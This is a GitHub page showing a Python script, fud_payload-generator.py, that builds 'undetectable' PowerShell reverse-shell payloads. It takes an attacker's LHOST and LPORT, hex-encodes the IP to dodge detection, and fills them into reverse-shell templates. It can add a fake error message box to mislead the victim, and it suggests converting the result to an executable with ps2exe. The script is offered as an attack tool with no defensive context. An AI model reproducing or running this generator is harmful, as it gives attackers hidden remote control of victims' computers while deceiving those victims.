forked from NiekGevers/fud_payload-generator
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfud_payload-generator.py
67 lines (66 loc) · 2.92 KB
/
fud_payload-generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import os
os.system("cls||clear")
print("created by NiekGevers")
print("1. powershell reverse shell-small")
print("2. powershell reverse shell-big")
question = input("choose your undetectable payload 1/2 => ")
if question == ("1"):
lhost = input("LHOST => ")
lport = input("LPORT => ")
def ip2hex(ip):
return "0x" + "".join(map(lambda i: "{:02X}".format(int(i)), ip.split(".")))
if __name__ == '__main__':
lhost_hex = ip2hex(lhost)
rev_small = open("payloads/powershell-reverse-shell-small.ps1", "rt")
output = open("payload.ps1", "wt")
for line in rev_small:
output.write(line.replace("{lhost}", lhost_hex).replace("{lport}", lport))
rev_small.close()
output.close()
fake_error_msg = input("Do you want to add a custom fake error message to the payload? yes/no => ")
if fake_error_msg == ("yes"):
msg_title = input("Error message title => ")
msg_body = input("Error message body => ")
msg_content = "Add-Type -AssemblyName PresentationFramework ; [System.Windows.MessageBox]::Show('{}','{}','ok','Error')".format(msg_body, msg_title)
with open("payload.ps1", 'r+') as fp:
lines = fp.readlines()
lines.insert(0, msg_content)
fp.seek(0)
fp.writelines(lines)
elif fake_error_msg == ("no"):
pass
else:
print("please type yes or no")
print("[+] payload generated as payload.ps1")
print("[*] now you can convert your payload.ps1 to an executable with ps2exe on windows. (more likely to get detected by antivirus!)")
elif question == ("2"):
lhost_big = input("LHOST => ")
lport_big = input("LPORT => ")
def ip2hex_big(ip):
return "0x" + "".join(map(lambda i: "{:02X}".format(int(i)), ip.split(".")))
if __name__ == '__main__':
lhost_big_hex = ip2hex_big(lhost_big)
rev_big = open("payloads/powershell-reverse-shell-big.ps1", "rt")
output_big = open("payload_big.ps1", "wt")
for line in rev_big:
output_big.write(line.replace("{lhost}", lhost_big_hex).replace("{lport}", lport_big))
rev_big.close()
output_big.close()
fake_error_msg_big = input("Do you want to add a custom fake error message to the payload? yes/no => ")
if fake_error_msg_big == ("yes"):
msg_title_big = input("Error message title => ")
msg_body_big = input("Error message body => ")
msg_content_big = "Add-Type -AssemblyName PresentationFramework ; [System.Windows.MessageBox]::Show('{}','{}','ok','Error')".format(msg_body_big, msg_title_big)
with open("payload_big.ps1", 'r+') as fp:
lines = fp.readlines()
lines.insert(0, msg_content_big)
fp.seek(0)
fp.writelines(lines)
elif fake_error_msg_big == ("no"):
pass
else:
print("please type yes or no")
print("[+] payload generated as payload_big.ps1")
print("[*] now you can convert your payload.ps1 to an executable with ps2exe on windows. (more likely to get detected by antivirus!)")
else:
print("please type 1 or 2")